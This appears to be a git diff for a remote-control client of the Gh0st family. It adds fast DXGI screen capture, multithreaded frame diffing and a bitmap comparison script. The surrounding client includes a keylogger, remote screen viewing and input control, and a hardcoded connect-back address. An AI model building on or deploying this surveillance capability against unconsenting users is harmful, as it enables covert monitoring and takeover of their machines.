diff --git a/BmpDifference.m b/BmpDifference.m new file mode 100644 index 0000000..85b25f5 --- /dev/null +++ b/BmpDifference.m @@ -0,0 +1,28 @@ +% 计算客户端和服务端的位图差异 +% MATLAB 8.1.0.604 (R2013a) +clear all;clc; +folder1=[pwd, '/client/bmp/']; % 客户端位图目录 +folder2=[pwd, '/server/2015Remote/bmp/']; % 服务端位图目录 + +num1=numel(dir(fullfile(folder1, '*.bmp'))); +disp([folder1, ' BMP file count: ', num2str(num1)]); +num2=numel(dir(fullfile(folder2, '*.bmp'))); +disp([folder2, ' BMP file count: ', num2str(num2)]); +num = min(num1, num2); +missing = 0; +for i=1:num + file1 = sprintf('%sGHOST_%d.bmp', folder1, i); + file2 = sprintf('%sYAMA_%d.bmp', folder2, i); + if exist(file2, 'file') == 2 + img1 = imread(file1); + img2 = imread(file2); + diff=double(img1)-double(img2); + s = sum(diff(:)); + fprintf('BMP [%d] difference: %g\n', i, s); + else + fprintf('BMP [%d] difference: MISSING\n', i); + missing = missing + 1; + end +end + +disp(missing); diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 53db161..7af8292 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -15,7 +15,7 @@ using namespace std; // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { Mprintf("new CAudioManager %p\n", this); diff --git a/client/AudioManager.h b/client/AudioManager.h index 620e5a4..89d32a4 100644 --- a/client/AudioManager.h +++ b/client/AudioManager.h @@ -18,7 +18,7 @@ class CAudioManager : public CManager public: VOID OnReceive(PBYTE szBuffer, ULONG ulLength); BOOL Initialize(); - CAudioManager(IOCPClient* ClientObject, int n); + CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr); virtual ~CAudioManager(); BOOL m_bIsWorking; HANDLE m_hWorkThread; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index fa0687d..5275a11 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -20,7 +20,7 @@ using namespace std; #define REG_NAME "a_ghost" // Զ̵ַ -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE}; +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE}; // Ӧó״̬1-ض˳ 2-ض˳ 3- BOOL g_bExit = 0; diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index ab6336a..58a5840 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -200,6 +200,8 @@ + + diff --git a/client/Common.cpp b/client/Common.cpp index e4c8ca3..99f6a14 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -56,7 +56,7 @@ template DWORD WINAPI LoopManager(LPVOID lParam) IOCPClient *ClientObject = pInfo->p; if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { - Manager m(ClientObject, n); + Manager m(ClientObject, n, pInfo->user); ClientObject->RunEventLoop(pInfo->run); } delete ClientObject; diff --git a/client/CursorInfo.h b/client/CursorInfo.h index 6163c46..f343e6a 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -9,6 +9,9 @@ #pragma once #endif // _MSC_VER > 1000 +#define ALGORITHM_GRAY 0 +#define ALGORITHM_DIFF 1 + #define MAX_CURSOR_TYPE 16 class CCursorInfo diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 290d920..2c0584a 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -14,7 +14,7 @@ typedef struct // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient) +CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient) { m_nTransferMode = TRANSFER_MODE_NORMAL; // б, ʼļ߳ diff --git a/client/FileManager.h b/client/FileManager.h index 1c3635d..4c18449 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -30,7 +30,7 @@ class CFileManager : public CManager public: virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); UINT SendDriveList(); - CFileManager(CClientSocket *pClient, int h = 0); + CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr); virtual ~CFileManager(); private: list m_UploadList; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index d6a51ce..6a847b5 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -6,7 +6,7 @@ #include "IOCPClient.h" #include #if USING_ZLIB -#include "zlib.h" +#include "zlib/zlib.h" #define Z_FAILED(p) (Z_OK != (p)) #define Z_SUCCESS(p) (!Z_FAILED(p)) #else diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 65a6e43..e6ec717 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -177,6 +177,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SCREEN_SPY: { + m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; diff --git a/client/KernelManager.h b/client/KernelManager.h index 3736993..bfd53b0 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -20,7 +20,8 @@ struct ThreadInfo BOOL run; HANDLE h; IOCPClient *p; - ThreadInfo() : run(TRUE), h(NULL), p(NULL){ } + void* user; + ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ } }; class CKernelManager : public CManager diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 74e8bb4..9e2cb4f 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -16,7 +16,7 @@ using namespace std; #define FILE_PATH "\\MODIf.html" #define CAPTION_SIZE 1024 -CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient) +CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient) { sendStartKeyBoard(); WaitForDialogOpen(); diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index 72696cc..751d65f 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -14,7 +14,7 @@ class CKeyboardManager1 : public CManager { public: - CKeyboardManager1(CClientSocket *pClient, int n=0); + CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr); virtual ~CKeyboardManager1(); virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); static DWORD WINAPI KeyLogger(LPVOID lparam); diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 4197272..8c04d8f 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -11,7 +11,7 @@ using namespace std; // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { BYTE bToken=TOKEN_REGEDIT; m_ClientObject->OnServerSending((char*)&bToken, 1); diff --git a/client/RegisterManager.h b/client/RegisterManager.h index f5240d6..8784b29 100644 --- a/client/RegisterManager.h +++ b/client/RegisterManager.h @@ -15,7 +15,7 @@ class CRegisterManager : public CManager { public: - CRegisterManager(IOCPClient* ClientObject, int n); + CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CRegisterManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID Find(char bToken, char *szPath); diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h new file mode 100644 index 0000000..656d09a --- /dev/null +++ b/client/ScreenCapture.h @@ -0,0 +1,332 @@ +#pragma once +#include "stdafx.h" +#include +#include "CursorInfo.h" +#include "../common/commands.h" + +#define DEFAULT_GOP 0x7FFFFFFF + +#include +#include +#include +#include +#include +#include +#include + + +class ThreadPool { +public: + // 캯̶߳ + ThreadPool(size_t numThreads) : stop(false) { + for (size_t i = 0; i < numThreads; ++i) { + workers.emplace_back([this] { + while (true) { + std::function task; + { + std::unique_lock lock(this->queueMutex); + this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); }); + if (this->stop && this->tasks.empty()) return; + task = std::move(this->tasks.front()); + this->tasks.pop(); + } + + try { + task(); + } + catch (...) { + // 쳣 + } + } + }); + } + } + + // ̳߳ + ~ThreadPool() { + { + std::unique_lock lock(queueMutex); + stop = true; + } + condition.notify_all(); + for (std::thread& worker : workers) + worker.join(); + } + + // ύ + template + auto enqueue(F&& f) -> std::future { + using ReturnType = decltype(f()); + auto task = std::make_shared>(std::forward(f)); + std::future res = task->get_future(); + { + std::unique_lock lock(queueMutex); + tasks.emplace([task]() { (*task)(); }); + } + condition.notify_one(); + return res; + } + + void waitAll() { + std::unique_lock lock(queueMutex); + condition.wait(lock, [this] { return tasks.empty(); }); + } + +private: + std::vector workers; + std::queue> tasks; + + std::mutex queueMutex; + std::condition_variable condition; + std::atomic stop; +}; + +class ScreenCapture +{ +public: + ThreadPool* m_ThreadPool; // ̳߳ + BYTE* m_FirstBuffer; // һ֡ + BYTE* m_RectBuffer; // ǰ + LPBYTE* m_BlockBuffers; // ֿ黺 + ULONG* m_BlockSizes; // ֿ + int m_BlockNum; // ֿ + + LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ + BYTE m_bAlgorithm; // Ļ㷨 + + ULONG m_ulFullWidth; // Ļ + ULONG m_ulFullHeight; // Ļ + bool m_bZoomed; // Ļ + double m_wZoom; // Ļű + double m_hZoom; // Ļű + + int m_FrameID; // ֡ + int m_GOP; // ؼ֡ + bool m_SendKeyFrame; // ͹ؼ֡ + + ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), + m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), + m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), + m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){ + + m_BlockNum = 8; + m_ThreadPool = new ThreadPool(m_BlockNum); + + //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС׼ + //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ + DEVMODE devmode; + memset(&devmode, 0, sizeof(devmode)); + devmode.dmSize = sizeof(DEVMODE); + devmode.dmDriverExtra = 0; + BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode); + m_ulFullWidth = devmode.dmPelsWidth; + m_ulFullHeight = devmode.dmPelsHeight; + int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); + m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); + m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; + Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); + m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; + + m_BlockBuffers = new LPBYTE[m_BlockNum]; + m_BlockSizes = new ULONG[m_BlockNum]; + for (int blockY = 0; blockY < m_BlockNum; ++blockY) { + m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12]; + } + } + virtual ~ScreenCapture(){ + if (m_BitmapInfor_Full != NULL) { + delete[](char*)m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + SAFE_DELETE_ARRAY(m_RectBuffer); + + for (int blockY = 0; blockY < m_BlockNum; ++blockY) { + SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]); + } + SAFE_DELETE_ARRAY(m_BlockBuffers); + SAFE_DELETE_ARRAY(m_BlockSizes); + + SAFE_DELETE(m_ThreadPool); + } + +public: + //*************************************** ͼ㷨У ************************************* + virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, + DWORD ulCompareLength, BYTE algo, int startPostion = 0) { + + // Windows涨һɨռֽ4ı, DWORDȽ + LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; + LPBYTE p = szBuffer; + ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4; + ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1; + for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) { + if (*p1 == *p2) + continue; + ULONG index = i; + LPDWORD pos1 = p1++, pos2 = p2++; + // мֵͬ + for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2); + ULONG ulCount = i - index; + memcpy(pos1, pos2, ulCount); // Ŀ + + *(LPDWORD)(p) = index + startPostion; + *(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio; + p += 2 * sizeof(ULONG); + if (channel != 1) { + memcpy(p, pos2, ulCount); + p += ulCount; + } + else { + for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) { + LPBYTE src = (LPBYTE)pos2; + *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; + } + } + } + + return p - szBuffer; + } + + //*************************************** ͼ㷨У ************************************* + ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer, + DWORD ulCompareLength, BYTE algo) { + + int N = m_BlockNum; + ULONG blockLength = ulCompareLength / N; // ÿĻֽ + ULONG remainingLength = ulCompareLength % N; // ʣֽ + + std::vector> futures; + for (int blockY = 0; blockY < N; ++blockY) { + // 㵱ǰֽ + ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0); + // 㵱ǰʼλ + ULONG startPosition = blockY * blockLength; + + futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG { + LPBYTE srcBlock = srcData + startPosition; + LPBYTE dstBlock = dstData + startPosition; + LPBYTE blockBuffer = m_BlockBuffers[blockY]; + + // ǰ񲢷رȶݴС + return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition); + })); + } + + // ȴɲȡֵ + for (auto& future : futures) { + future.get(); + } + + // ϲпIJϢ szBuffer + ULONG offset = 0; + for (int blockY = 0; blockY < N; ++blockY) { + memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]); + offset += m_BlockSizes[blockY]; + } + + return offset; // ػĴС + } + + virtual int GetFrameID() const { + return m_FrameID; + } + + virtual LPBYTE GetFirstBuffer() const { + return m_FirstBuffer; + } + + virtual int GetBMPSize() const { + assert(m_BitmapInfor_Full); + return m_BitmapInfor_Full->bmiHeader.biSizeImage; + } + + // 㷨+λ+ + LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { + BYTE algo = m_bAlgorithm; + int frameID = m_FrameID + 1; + bool keyFrame = (frameID % m_GOP == 0); + m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN; + LPBYTE data = m_RectBuffer + 1; + // дʹ㷨 + memcpy(data, (LPBYTE)&algo, sizeof(BYTE)); + + // дλ + POINT CursorPos; + GetCursorPos(&CursorPos); + CursorPos.x /= m_wZoom; + CursorPos.y /= m_hZoom; + memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT)); + + // д뵱ǰ + static CCursorInfo m_CursorInfor; + BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex(); + memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE)); + ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE); + + // ֶɨȫĻ µλͼ뵽m_hDiffMemDC + LPBYTE nextData = ScanNextScreen(); + if (nullptr == nextData) { + return nullptr; + } + +#if SCREENYSPY_IMPROVE + memcpy(data + offset, &++m_FrameID, sizeof(int)); + offset += sizeof(int); +#if SCREENSPY_WRITE + WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID); +#endif +#else + m_FrameID++; +#endif + + if (keyFrame) + { + *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage; + if (algo != ALGORITHM_GRAY) + { + memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } + else + { + LPBYTE dst = data + offset, src = nextData; + for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) { + dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; + } + } + memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } + else { + *ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo); + } + + return m_RectBuffer; + } + + // Ļ㷨 + virtual BYTE SetAlgorithm(int algo) { + BYTE oldAlgo = m_bAlgorithm; + m_bAlgorithm = algo; + return oldAlgo; + } + + // λת + virtual void PointConversion(POINT& pt) const { + if (m_bZoomed) { + pt.x *= m_wZoom; + pt.y *= m_hZoom; + } + } + + // ȡλͼṹϢ + virtual const LPBITMAPINFO& GetBIData() const { + return m_BitmapInfor_Full; + } + +public: // ӿ + + // ȡһ֡Ļ + virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0; + + // ȡһ֡Ļ + virtual LPBYTE ScanNextScreen() = 0; +}; diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h new file mode 100644 index 0000000..698121e --- /dev/null +++ b/client/ScreenCapturerDXGI.h @@ -0,0 +1,182 @@ +#pragma once +#include "stdafx.h" +#include "ScreenCapture.h" +#include "common/commands.h" + +// ֻҪ㰲װ Windows 8 SDK ߰汾 Windows SDKҵ dxgi1_2.h ɹ롣 +// Windows 8 °汾֧ +#include +#include + +#pragma comment(lib, "d3d11.lib") + +// author: ChatGPT +// update: 962914132@qq.com +// DXGI 1.2IDXGIOutputDuplicationȴͳ GDI ͨ 3 10 ֮䣬ȡӲֱʺʹó +class ScreenCapturerDXGI : public ScreenCapture { +private: + ID3D11Device* d3dDevice = nullptr; + ID3D11DeviceContext* d3dContext = nullptr; + IDXGIOutputDuplication* deskDupl = nullptr; + ID3D11Texture2D* cpuTexture = nullptr; + BYTE* m_NextBuffer = nullptr; + +public: + ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() { + m_GOP = gop; + InitDXGI(); + Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); + } + + ~ScreenCapturerDXGI() { + CleanupDXGI(); + + SAFE_DELETE_ARRAY(m_FirstBuffer); + SAFE_DELETE_ARRAY(m_NextBuffer); + SAFE_DELETE_ARRAY(m_RectBuffer); + } + + void InitDXGI() { + // 1. D3D11 豸 + D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext); + + // 2. ȡ DXGI 豸 + IDXGIDevice* dxgiDevice = nullptr; + d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice); + + // 3. ȡ DXGI + IDXGIAdapter* dxgiAdapter = nullptr; + dxgiDevice->GetAdapter(&dxgiAdapter); + + // 4. ȡ DXGI Ļ + IDXGIOutput* dxgiOutput = nullptr; + dxgiAdapter->EnumOutputs(0, &dxgiOutput); + + // 5. ȡ DXGI 1 + IDXGIOutput1* dxgiOutput1 = nullptr; + dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1); + + // 6. Desktop Duplication + dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl); + + // 7. ȡĻС + DXGI_OUTDUPL_DESC duplDesc; + deskDupl->GetDesc(&duplDesc); + m_ulFullWidth = duplDesc.ModeDesc.Width; + m_ulFullHeight = duplDesc.ModeDesc.Height; + + // 8. CPU + D3D11_TEXTURE2D_DESC desc = {}; + desc.Width = m_ulFullWidth; + desc.Height = m_ulFullHeight; + desc.MipLevels = 1; + desc.ArraySize = 1; + desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM; + desc.SampleDesc.Count = 1; + desc.Usage = D3D11_USAGE_STAGING; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; + d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture); + + // 9. ʼ BITMAPINFO + m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)]; + memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); + m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth; + m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight; + m_BitmapInfor_Full->bmiHeader.biPlanes = 1; + m_BitmapInfor_Full->bmiHeader.biBitCount = 32; + m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB; + m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4; + + // 10. Ļ + m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; + m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; + + // ͷ DXGI Դ + dxgiOutput1->Release(); + dxgiOutput->Release(); + dxgiAdapter->Release(); + dxgiDevice->Release(); + } + + void CleanupDXGI() { + if (cpuTexture) cpuTexture->Release(); + if (deskDupl) deskDupl->Release(); + if (d3dContext) d3dContext->Release(); + if (d3dDevice) d3dDevice->Release(); + } + + LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override { + int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1); + if (ret) + return nullptr; + + m_FirstBuffer[0] = TOKEN_FIRSTSCREEN; + return m_FirstBuffer; + } + + LPBYTE ScanNextScreen() override { + ULONG ulNextScreenLength = 0; + int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0); + if (ret) + return nullptr; + + return m_NextBuffer; + } + + virtual LPBYTE GetFirstBuffer() const { + return m_FirstBuffer + 1; + } + +private: + int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) { + // 1. ȡһ֡ + IDXGIResource* desktopResource = nullptr; + DXGI_OUTDUPL_FRAME_INFO frameInfo; + HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource); + if (FAILED(hr)) { + return -1; + } + + // 2. ȡ ID3D11Texture2D + ID3D11Texture2D* texture = nullptr; + hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture); + if (FAILED(hr)) { + deskDupl->ReleaseFrame(); + return -2; + } + + // 3. Ƶ CPU + d3dContext->CopyResource(cpuTexture, texture); + + // 4. ͷ DXGI Դ + deskDupl->ReleaseFrame(); + texture->Release(); + desktopResource->Release(); + + // 5. ȡ + D3D11_MAPPED_SUBRESOURCE mapped; + hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped); + if (FAILED(hr)) { + return -3; + } + + // 6. ݵֱת + BYTE* pData = (BYTE*)mapped.pData; + int rowSize = m_ulFullWidth * 4; // ÿеֽRGBA + + for (int y = 0; y < m_ulFullHeight; y++) { + // Ŀ껺λãӵײ + int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize; + int srcIndex = y * mapped.RowPitch; // Direct3D ƫ + memcpy(buffer + destIndex, pData + srcIndex, rowSize); + } + + // 7. + d3dContext->Unmap(cpuTexture, 0); + + *frameSize = m_ulFullWidth * m_ulFullHeight * 4; + return 0; + } +}; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 0908369..f679891 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -14,6 +14,9 @@ #include using namespace std; +#include "ScreenSpy.h" +#include "ScreenCapturerDXGI.h" + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -21,14 +24,29 @@ using namespace std; #define WM_MOUSEWHEEL 0x020A #define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam)) -CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +bool IsWindows8orHigher() { + typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); + if (!hMod) return false; + + RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); + if (!rtlGetVersion) return false; + + RTL_OSVERSIONINFOW rovi = { 0 }; + rovi.dwOSVersionInfoSize = sizeof(rovi); + if (rtlGetVersion(&rovi) == 0) { + return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2); + } + return false; +} + +CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; - m_ScreenSpyObject = new CScreenSpy(32); - - szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1]; + bool DXGI = user; + m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32); m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); } @@ -55,9 +73,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const int sleep = 1000 / fps;// ʱ䣨ms int c1 = 0; // ʱĴ int c2 = 0; // ʱ̵Ĵ - int s0 = sleep; // ֮֡ms + float s0 = sleep; // ֮֡ms const int frames = fps; // ÿĻٶ - const double alpha = 1.2; // fps + const float alpha = 1.03; // fps timeBeginPeriod(1); while (This->m_bIsWorking) { @@ -65,6 +83,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { + s0 = max(s0, 50); // ÿ20֡ + s0 = min(s0, 1000); int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); if (span < 0) // ݺʱϳϲݽ϶ @@ -74,7 +94,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) s0 = (s0 <= sleep*4) ? s0*alpha : s0; c1 = 0; #ifdef _DEBUG - Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); + Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } } else if (span > 0){ // ݺʱs0̣ʾϺûݰС @@ -83,7 +103,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) s0 = (s0 >= sleep/4) ? s0/alpha : s0; c2 = 0; #ifdef _DEBUG - Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); + Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } } @@ -126,11 +146,6 @@ CScreenManager::~CScreenManager() delete m_ScreenSpyObject; m_ScreenSpyObject = NULL; - if(szBuffer) - { - delete [] szBuffer; - szBuffer = NULL; - } } VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) @@ -217,21 +232,14 @@ VOID CScreenManager::SendClientClipboard() VOID CScreenManager::SendFirstScreen() { - //CScreenSpygetFirstScreenеõͼ - //ȻgetFirstImageSizeõݵĴСȻͳȥ - LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(); - if (FirstScreenData == NULL) + ULONG ulFirstSendLength = 0; + LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength); + if (ulFirstSendLength == 0 || FirstScreenData == NULL) { return; } - ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength(); - - szBuffer[0] = TOKEN_FIRSTSCREEN; - memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1); - - m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength); - szBuffer[ulFirstSendLength-1] = 0; + m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1); } const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) @@ -243,13 +251,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) return NULL; } - ulNextSendLength += 1; - - szBuffer[0] = TOKEN_NEXTSCREEN; - memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); - szBuffer[ulNextSendLength] = 0; - - return szBuffer; + return (char*)NextScreenData; } VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength) @@ -285,11 +287,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) POINT Point; Point.x = LOWORD(Msg->lParam); Point.y = HIWORD(Msg->lParam); - if(m_ScreenSpyObject->IsZoomed()) - { - Point.x *= m_ScreenSpyObject->GetWZoom(); - Point.y *= m_ScreenSpyObject->GetHZoom(); - } + m_ScreenSpyObject->PointConversion(Point); SetCursorPos(Point.x, Point.y); SetCapture(WindowFromPoint(Point)); } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 4992b5f..aa37070 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -11,14 +11,14 @@ #include 